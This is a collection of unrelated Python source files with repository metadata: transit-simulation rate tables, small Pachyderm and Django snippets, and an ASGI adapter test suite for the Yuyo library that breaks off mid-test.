(254, 467, 432, 216, 140, 0, 333, 436, 349, 270, 117, 0), # 54 (257, 476, 436, 220, 140, 0, 341, 440, 355, 278, 121, 0), # 55 (260, 485, 448, 222, 144, 0, 347, 444, 363, 283, 123, 0), # 56 (264, 494, 454, 229, 146, 0, 352, 451, 372, 286, 123, 0), # 57 (271, 499, 461, 234, 147, 0, 359, 461, 376, 291, 126, 0), # 58 (271, 499, 461, 234, 147, 0, 359, 461, 376, 291, 126, 0), # 59 ) passenger_arriving_rate = ( (3.7095121817383676, 7.612035984848484, 6.715158258354756, 3.5483152173913037, 2.000048076923077, 0.0, 6.659510869565219, 8.000192307692307, 5.322472826086956, 4.476772172236504, 1.903008996212121, 0.0), # 0 (3.7443308140669203, 7.696686590558361, 6.751429051520996, 3.5680760567632848, 2.0150386217948717, 0.0, 6.657240994867151, 8.060154487179487, 5.352114085144928, 4.500952701013997, 1.9241716476395903, 0.0), # 1 (3.7787518681104277, 7.780081571268237, 6.786838903170522, 3.58740193236715, 2.0297128205128203, 0.0, 6.654901690821256, 8.118851282051281, 5.381102898550726, 4.524559268780347, 1.9450203928170593, 0.0), # 2 (3.8127461259877085, 7.8621309375, 6.821361945694087, 3.6062763586956517, 2.044057211538462, 0.0, 6.652493274456523, 8.176228846153847, 5.409414538043478, 4.547574630462725, 1.965532734375, 0.0), # 3 (3.8462843698175795, 7.942744699775533, 6.854972311482434, 3.624682850241546, 2.0580583333333333, 0.0, 6.6500160628019325, 8.232233333333333, 5.437024275362319, 4.569981540988289, 1.9856861749438832, 0.0), # 4 (3.879337381718857, 8.021832868616723, 6.887644132926307, 3.6426049214975844, 2.0717027243589743, 0.0, 6.647470372886473, 8.286810897435897, 5.463907382246377, 4.591762755284204, 2.005458217154181, 0.0), # 5 (3.9118759438103607, 8.099305454545455, 6.919351542416455, 3.660026086956522, 2.084976923076923, 0.0, 6.644856521739131, 8.339907692307692, 5.490039130434783, 4.612901028277636, 2.0248263636363637, 0.0), # 6 (3.943870838210907, 8.175072468083613, 6.950068672343615, 3.6769298611111116, 2.0978674679487184, 0.0, 6.64217482638889, 8.391469871794873, 5.515394791666668, 4.633379114895743, 2.043768117020903, 0.0), # 7 (3.975292847039314, 8.249043919753085, 6.979769655098544, 3.693299758454106, 2.1103608974358976, 0.0, 6.639425603864735, 8.44144358974359, 5.5399496376811594, 4.653179770065696, 2.062260979938271, 0.0), # 8 (4.006112752414399, 8.321129820075758, 7.00842862307198, 3.709119293478261, 2.12244375, 0.0, 6.636609171195653, 8.489775, 5.563678940217391, 4.672285748714653, 2.0802824550189394, 0.0), # 9 (4.03630133645498, 8.391240179573513, 7.03601970865467, 3.724371980676329, 2.134102564102564, 0.0, 6.633725845410628, 8.536410256410257, 5.586557971014494, 4.690679805769779, 2.0978100448933783, 0.0), # 10 (4.065829381279876, 8.459285008768239, 7.06251704423736, 3.739041334541063, 2.145323878205128, 0.0, 6.630775943538648, 8.581295512820512, 5.608562001811595, 4.70834469615824, 2.1148212521920597, 0.0), # 11 (4.094667669007903, 8.525174318181818, 7.087894762210797, 3.7531108695652167, 2.156094230769231, 0.0, 6.627759782608695, 8.624376923076923, 5.6296663043478254, 4.725263174807198, 2.1312935795454546, 0.0), # 12 (4.122786981757876, 8.58881811833614, 7.112126994965724, 3.766564100241546, 2.1664001602564102, 0.0, 6.624677679649759, 8.665600641025641, 5.649846150362319, 4.741417996643816, 2.147204529584035, 0.0), # 13 (4.15015810164862, 8.650126419753088, 7.135187874892886, 3.779384541062801, 2.1762282051282047, 0.0, 6.621529951690821, 8.704912820512819, 5.669076811594202, 4.756791916595257, 2.162531604938272, 0.0), # 14 (4.1767518107989465, 8.709009232954545, 7.157051534383032, 3.7915557065217387, 2.1855649038461538, 0.0, 6.618316915760871, 8.742259615384615, 5.6873335597826085, 4.771367689588688, 2.177252308238636, 0.0), # 15 (4.202538891327675, 8.7653765684624, 7.177692105826908, 3.803061111111111, 2.194396794871795, 0.0, 6.61503888888889, 8.77758717948718, 5.7045916666666665, 4.785128070551272, 2.1913441421156, 0.0), # 16 (4.227490125353625, 8.81913843679854, 7.197083721615253, 3.8138842693236716, 2.202710416666667, 0.0, 6.611696188103866, 8.810841666666668, 5.720826403985508, 4.798055814410168, 2.204784609199635, 0.0), # 17 (4.25157629499561, 8.870204848484848, 7.215200514138818, 3.824008695652174, 2.2104923076923084, 0.0, 6.608289130434783, 8.841969230769234, 5.736013043478262, 4.810133676092545, 2.217551212121212, 0.0), # 18 (4.274768182372451, 8.918485814043208, 7.232016615788346, 3.8334179045893717, 2.2177290064102566, 0.0, 6.604818032910629, 8.870916025641026, 5.750126856884058, 4.8213444105255645, 2.229621453510802, 0.0), # 19 (4.297036569602966, 8.96389134399551, 7.247506158954584, 3.8420954106280196, 2.2244070512820517, 0.0, 6.601283212560387, 8.897628205128207, 5.76314311594203, 4.831670772636389, 2.2409728359988774, 0.0), # 20 (4.318352238805971, 9.006331448863634, 7.261643276028279, 3.8500247282608693, 2.2305129807692303, 0.0, 6.597684986413044, 8.922051923076921, 5.775037092391305, 4.841095517352186, 2.2515828622159084, 0.0), # 21 (4.338685972100283, 9.045716139169473, 7.274402099400172, 3.8571893719806765, 2.2360333333333333, 0.0, 6.5940236714975855, 8.944133333333333, 5.785784057971015, 4.849601399600115, 2.2614290347923682, 0.0), # 22 (4.358008551604722, 9.081955425434906, 7.285756761461012, 3.8635728562801934, 2.2409546474358972, 0.0, 6.590299584842997, 8.963818589743589, 5.79535928442029, 4.857171174307341, 2.2704888563587264, 0.0), # 23 (4.3762907594381035, 9.114959318181818, 7.295681394601543, 3.869158695652174, 2.2452634615384612, 0.0, 6.586513043478261, 8.981053846153845, 5.803738043478262, 4.863787596401028, 2.2787398295454544, 0.0), # 24 (4.393503377719247, 9.1446378279321, 7.304150131212511, 3.8739304045893723, 2.2489463141025636, 0.0, 6.582664364432368, 8.995785256410255, 5.810895606884059, 4.869433420808341, 2.286159456983025, 0.0), # 25 (4.409617188566969, 9.17090096520763, 7.311137103684661, 3.8778714975845405, 2.2519897435897436, 0.0, 6.5787538647343, 9.007958974358974, 5.816807246376811, 4.874091402456441, 2.2927252413019077, 0.0), # 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37 (4.5418345268542195, 9.314098181818181, 7.287212028985508, 3.8799343790849674, 2.249628226950355, 0.0, 6.433861385973679, 8.99851290780142, 5.819901568627452, 4.858141352657005, 2.3285245454545453, 0.0), # 38 (4.5508112771739135, 9.322757301136363, 7.277850733695652, 3.87862125, 2.247592579787234, 0.0, 6.40557498125937, 8.990370319148935, 5.817931875, 4.8519004891304345, 2.330689325284091, 0.0), # 39 (4.559594789002558, 9.33127840909091, 7.267509057971015, 3.8771650326797387, 2.245336879432624, 0.0, 6.37486621272697, 8.981347517730496, 5.815747549019608, 4.845006038647344, 2.3328196022727274, 0.0), # 40 (4.568189761828645, 9.3396603125, 7.256212490942029, 3.8755681290849675, 2.2428652216312055, 0.0, 6.34182214309512, 8.971460886524822, 5.813352193627452, 4.837474993961353, 2.334915078125, 0.0), # 41 (4.576600895140665, 9.34790181818182, 7.2439865217391315, 3.8738329411764707, 2.2401817021276598, 0.0, 6.3065298350824595, 8.960726808510639, 5.810749411764706, 4.829324347826088, 2.336975454545455, 0.0), # 42 (4.584832888427111, 9.356001732954544, 7.230856639492753, 3.8719618709150327, 2.2372904166666667, 0.0, 6.26907635140763, 8.949161666666667, 5.80794280637255, 4.820571092995169, 2.339000433238636, 0.0), # 43 (4.592890441176471, 9.363958863636363, 7.216848333333333, 3.8699573202614377, 2.2341954609929076, 0.0, 6.229548754789272, 8.93678184397163, 5.804935980392157, 4.811232222222222, 2.3409897159090907, 0.0), # 44 (4.600778252877237, 9.371772017045453, 7.201987092391306, 3.8678216911764705, 2.230900930851064, 0.0, 6.188034107946028, 8.923603723404256, 5.801732536764706, 4.80132472826087, 2.3429430042613633, 0.0), # 45 (4.6085010230179035, 9.379440000000002, 7.186298405797103, 3.8655573856209147, 2.2274109219858156, 0.0, 6.144619473596536, 8.909643687943262, 5.798336078431372, 4.790865603864735, 2.3448600000000006, 0.0), # 46 (4.616063451086957, 9.386961619318182, 7.16980776268116, 3.8631668055555552, 2.223729530141844, 0.0, 6.099391914459438, 8.894918120567375, 5.794750208333333, 4.77987184178744, 2.3467404048295455, 0.0), # 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52 (4.658334007352941, 9.428950880681818, 7.055450208333333, 3.8463060702614382, 2.1978514982269504, 0.0, 5.794830651340996, 8.791405992907801, 5.769459105392158, 4.703633472222222, 2.3572377201704544, 0.0), # 53 (4.6649056265984665, 9.435414545454544, 7.034059565217391, 3.843098823529412, 2.192945106382979, 0.0, 5.739350374812594, 8.771780425531915, 5.764648235294119, 4.689373043478261, 2.358853636363636, 0.0), # 54 (4.671354499680307, 9.441722301136364, 7.012070878623187, 3.8397845179738566, 2.1878800975177306, 0.0, 5.682753675245711, 8.751520390070922, 5.759676776960785, 4.674713919082125, 2.360430575284091, 0.0), # 55 (4.677685326086957, 9.447872954545453, 6.989509637681159, 3.8363655555555556, 2.1826605673758865, 0.0, 5.625127615358988, 8.730642269503546, 5.754548333333334, 4.65967309178744, 2.361968238636363, 0.0), # 56 (4.683902805306906, 9.453865312500001, 6.966401331521738, 3.832844338235294, 2.1772906117021273, 0.0, 5.566559257871065, 8.70916244680851, 5.749266507352941, 4.644267554347826, 2.3634663281250003, 0.0), # 57 (4.690011636828645, 9.459698181818181, 6.942771449275362, 3.8292232679738563, 2.1717743262411346, 0.0, 5.507135665500583, 8.687097304964539, 5.743834901960785, 4.628514299516908, 2.3649245454545453, 0.0), # 58 (0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59 ) passenger_allighting_rate = ( (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 0 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 1 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 2 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 3 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 4 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 5 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 6 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 7 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 8 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 9 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 10 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 11 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 12 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 13 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 14 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 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51 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 52 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 53 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 54 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 55 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 56 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 57 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 58 (0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 59 ) """ parameters for reproducibiliy. More information: https://numpy.org/doc/stable/reference/random/parallel.html """ #initial entropy entropy = 258194110137029475889902652135037600173 #index for seed sequence child child_seed_index = ( 1, # 0 2, # 1 )

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107cb9b42985f4684a3f93ee760d0e5abaf70cbd

154

py

Python

tests/health.py

sjezewski/pypachy

4bc022d0c73140475f9bd0acd5c0e7204609de26

[ "Apache-2.0" ]

57

2018-02-25T16:23:47.000Z

2022-02-08T08:48:12.000Z

tests/health.py

sjezewski/pypachy

4bc022d0c73140475f9bd0acd5c0e7204609de26

[ "Apache-2.0" ]

209

2018-02-16T14:31:25.000Z

2022-03-15T15:24:19.000Z

tests/health.py

sjezewski/pypachy

4bc022d0c73140475f9bd0acd5c0e7204609de26

[ "Apache-2.0" ]

23

2018-02-16T15:31:46.000Z

2022-03-09T20:41:31.000Z

#!/usr/bin/env python """Tests for health-related functionality.""" import python_pachyderm def test_health(): python_pachyderm.Client().health()

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52a3e391dd8e87dd78ddac91a51a90a58c191863

162

py

Python

home/admin.py

mamad-azimi-jozani/charity_django_blog

ef13f8c74e2050cb478f44b719ef33d122435763

[ "MIT" ]

null

home/admin.py

mamad-azimi-jozani/charity_django_blog

ef13f8c74e2050cb478f44b719ef33d122435763

[ "MIT" ]

null

home/admin.py

mamad-azimi-jozani/charity_django_blog

ef13f8c74e2050cb478f44b719ef33d122435763

[ "MIT" ]

null

from django.contrib import admin from .models import Contact # Register your models here. @admin.register(Contact) class AdminContact(admin.ModelAdmin): pass

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py

Python

services/projects/api/v1/__init__.py

amthorn/qutex

2bc441e63cba38d80aa9438b6278b732d44849a4

[ "MIT" ]

null

services/projects/api/v1/__init__.py

amthorn/qutex

2bc441e63cba38d80aa9438b6278b732d44849a4

[ "MIT" ]

239

2021-05-12T03:54:32.000Z

2022-03-31T06:15:52.000Z

services/projects/api/v1/__init__.py

amthorn/qutex

2bc441e63cba38d80aa9438b6278b732d44849a4

[ "MIT" ]

2

2022-02-17T23:13:12.000Z

2022-03-02T20:28:41.000Z

from api.v1 import projects # noqa

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py

Python

tests/test_asgi.py

FasterSpeeding/Yuyo

84265c9b7660ee457be013bb95789e4063cedad3

[ "BSD-3-Clause" ]

9

2021-08-21T15:23:55.000Z

2022-03-22T03:23:40.000Z

tests/test_asgi.py

FasterSpeeding/Yuyo

84265c9b7660ee457be013bb95789e4063cedad3

[ "BSD-3-Clause" ]

14

2021-01-17T10:25:09.000Z

2022-03-02T09:33:50.000Z

tests/test_asgi.py

FasterSpeeding/Yuyo

84265c9b7660ee457be013bb95789e4063cedad3

[ "BSD-3-Clause" ]

3

2021-09-23T22:43:50.000Z

2022-02-15T23:34:23.000Z

# -*- coding: utf-8 -*- # cython: language_level=3 # BSD 3-Clause License # # Copyright (c) 2020-2021, Faster Speeding # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import traceback from unittest import mock import asgiref.typing import hikari import pytest import yuyo class TestAsgiAdapter: @pytest.fixture() def stub_server(self) -> hikari.api.InteractionServer: return mock.AsyncMock() @pytest.fixture() def adapter(self, stub_server: hikari.api.InteractionServer) -> yuyo.AsgiAdapter: return yuyo.AsgiAdapter(stub_server) def test_server_property(self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer) -> None: assert adapter.server is stub_server @pytest.fixture() def http_scope(self) -> asgiref.typing.HTTPScope: return asgiref.typing.HTTPScope( type="http", asgi=asgiref.typing.ASGIVersions(spec_version="ok", version="3.0"), http_version="1.1", method="POST", scheme="", path="/", raw_path=b"", headers=[], client=("", 1), server=("", 1), extensions=None, query_string=b"", root_path="", ) @pytest.mark.asyncio() async def test___call___when_http( self, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ) -> None: mock_process_request = mock.AsyncMock() mock_receive = mock.Mock() mock_send = mock.Mock() class StubAdapter(yuyo.AsgiAdapter): process_request = mock_process_request stub_adapter = StubAdapter(stub_server) await stub_adapter(http_scope, mock_receive, mock_send) mock_process_request.assert_awaited_once_with(http_scope, mock_receive, mock_send) @pytest.mark.asyncio() async def test___call___when_lifespan(self, stub_server: hikari.api.InteractionServer): mock_process_lifespan_event = mock.AsyncMock() mock_receive = mock.Mock() mock_send = mock.Mock() mock_scope = asgiref.typing.LifespanScope( type="lifespan", asgi=asgiref.typing.ASGIVersions(spec_version="ok", version="3.0") ) class StubAdapter(yuyo.AsgiAdapter): process_lifespan_event = mock_process_lifespan_event stub_adapter = StubAdapter(stub_server) await stub_adapter(mock_scope, mock_receive, mock_send) mock_process_lifespan_event.assert_awaited_once_with(mock_receive, mock_send) @pytest.mark.asyncio() async def test___call___when_webhook(self, adapter: yuyo.AsgiAdapter): with pytest.raises(NotImplementedError, match="Websocket operations are not supported"): await adapter( asgiref.typing.WebSocketScope( type="websocket", asgi=asgiref.typing.ASGIVersions(spec_version="ok", version="3.0"), http_version="...", scheme="...", path="/", raw_path=b"", query_string=b"", root_path="", headers=[], client=("2", 2), server=None, subprotocols=[], extensions={}, ), mock.AsyncMock(), mock.AsyncMock(), ) @pytest.mark.asyncio() async def test_process_lifespan_event_on_startup(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.startup"}) mock_send = mock.AsyncMock() await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.startup.complete"}) @pytest.mark.asyncio() async def test_process_lifespan_event_on_startup_with_callbacks(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.startup"}) mock_send = mock.AsyncMock() mock_async_callback = mock.AsyncMock() mock_callback = mock.Mock() adapter.add_startup_callback(mock_async_callback).add_startup_callback(mock_callback) await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_async_callback.assert_awaited_once_with() mock_callback.assert_called_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.startup.complete"}) @pytest.mark.asyncio() async def test_process_lifespan_event_on_startup_when_sync_callback_fails(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.startup"}) mock_send = mock.AsyncMock() mock_async_callback = mock.AsyncMock(side_effect=Exception("test")) mock_callback = mock.Mock() adapter.add_startup_callback(mock_async_callback).add_startup_callback(mock_callback) with mock.patch.object(traceback, "format_exc") as format_exc: await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_async_callback.assert_awaited_once_with() mock_callback.assert_called_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.startup.failed", "message": format_exc.return_value}) format_exc.assert_called_once_with() @pytest.mark.asyncio() async def test_process_lifespan_event_on_startup_when_async_callback_fails(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.startup"}) mock_send = mock.AsyncMock() mock_async_callback = mock.AsyncMock() mock_callback = mock.Mock(side_effect=Exception("test")) adapter.add_startup_callback(mock_async_callback).add_startup_callback(mock_callback) with mock.patch.object(traceback, "format_exc") as format_exc: await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_async_callback.assert_awaited_once_with() mock_callback.assert_called_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.startup.failed", "message": format_exc.return_value}) format_exc.assert_called_once_with() @pytest.mark.asyncio() async def test_process_lifespan_event_on_shutdown(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.shutdown"}) mock_send = mock.AsyncMock() await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.shutdown.complete"}) @pytest.mark.asyncio() async def test_process_lifespan_event_on_shutdown_with_callbacks(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.shutdown"}) mock_send = mock.AsyncMock() mock_async_callback = mock.AsyncMock() mock_callback = mock.Mock() adapter.add_shutdown_callback(mock_async_callback).add_shutdown_callback(mock_callback) await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_async_callback.assert_awaited_once_with() mock_callback.assert_called_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.shutdown.complete"}) @pytest.mark.asyncio() async def test_process_lifespan_event_on_shutdown_when_sync_callback_fails(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.shutdown"}) mock_send = mock.AsyncMock() mock_async_callback = mock.AsyncMock(side_effect=Exception("test")) mock_callback = mock.Mock() adapter.add_shutdown_callback(mock_async_callback).add_shutdown_callback(mock_callback) with mock.patch.object(traceback, "format_exc") as format_exc: await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_async_callback.assert_awaited_once_with() mock_callback.assert_called_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.shutdown.failed", "message": format_exc.return_value}) format_exc.assert_called_once_with() @pytest.mark.asyncio() async def test_process_lifespan_event_on_shutdown_when_async_callback_fails( self, adapter: yuyo.AsgiAdapter ) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.shutdown"}) mock_send = mock.AsyncMock() mock_async_callback = mock.AsyncMock() mock_callback = mock.Mock(side_effect=Exception("test")) adapter.add_shutdown_callback(mock_async_callback).add_shutdown_callback(mock_callback) with mock.patch.object(traceback, "format_exc") as format_exc: await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_async_callback.assert_awaited_once_with() mock_callback.assert_called_once_with() mock_send.assert_awaited_once_with({"type": "lifespan.shutdown.failed", "message": format_exc.return_value}) format_exc.assert_called_once_with() @pytest.mark.asyncio() async def test_process_lifespan_event_on_invalid_lifespan_type(self, adapter: yuyo.AsgiAdapter) -> None: mock_receive = mock.AsyncMock(return_value={"type": "lifespan.idk"}) mock_send = mock.AsyncMock() with pytest.raises(RuntimeError, match="Unknown lifespan event lifespan.idk"): await adapter.process_lifespan_event(mock_receive, mock_send) mock_receive.assert_awaited_once_with() mock_send.assert_not_called() @pytest.mark.asyncio() async def test_process_request( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["headers"] = [ (b"Content-Type", b"application/json"), (b"x-signature-timestamp", b"321123"), (b"random-header2", b"random value"), (b"x-signature-ed25519", b"6e796161"), (b"random-header", b"random value"), ] mock_receive = mock.AsyncMock( side_effect=[{"body": b"cat", "more_body": True}, {"body": b"girls", "more_body": False}] ) mock_send = mock.AsyncMock() stub_server.on_interaction.return_value.headers = { "Content-Type": "jazz hands", "kill": "me baby", "I am the milk man": "my milk is delicious", "and the sea shall run white": "with his rage", } await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": stub_server.on_interaction.return_value.status_code, "headers": [ (b"Content-Type", b"jazz hands"), (b"kill", b"me baby"), (b"I am the milk man", b"my milk is delicious"), (b"and the sea shall run white", b"with his rage"), ], } ), mock.call( { "type": "http.response.body", "body": stub_server.on_interaction.return_value.payload, "more_body": False, } ), ] ) mock_receive.assert_has_awaits([mock.call(), mock.call()]) stub_server.on_interaction.assert_awaited_once_with(bytearray(b"catgirls"), b"nyaa", b"321123") @pytest.mark.asyncio() async def test_process_request_when_not_post( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["method"] = "GET" http_scope["path"] = "/" mock_receive = mock.AsyncMock() mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 404, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call({"type": "http.response.body", "body": b"Not found", "more_body": False}), ] ) mock_receive.assert_not_called() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_not_base_route( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["method"] = "POST" http_scope["path"] = "/not-base-route" mock_receive = mock.AsyncMock() mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 404, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call({"type": "http.response.body", "body": b"Not found", "more_body": False}), ] ) mock_receive.assert_not_called() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_no_body( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): mock_receive = mock.AsyncMock(return_value={"body": b"", "more_body": False}) mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 400, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call({"type": "http.response.body", "body": b"POST request must have a body", "more_body": False}), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_no_body_and_receive_empty( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): mock_receive = mock.AsyncMock(return_value={}) mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 400, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call({"type": "http.response.body", "body": b"POST request must have a body", "more_body": False}), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_no_content_type( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["headers"] = [] mock_receive = mock.AsyncMock(return_value={"body": b"gay", "more_body": False}) mock_send = mock.AsyncMock() await 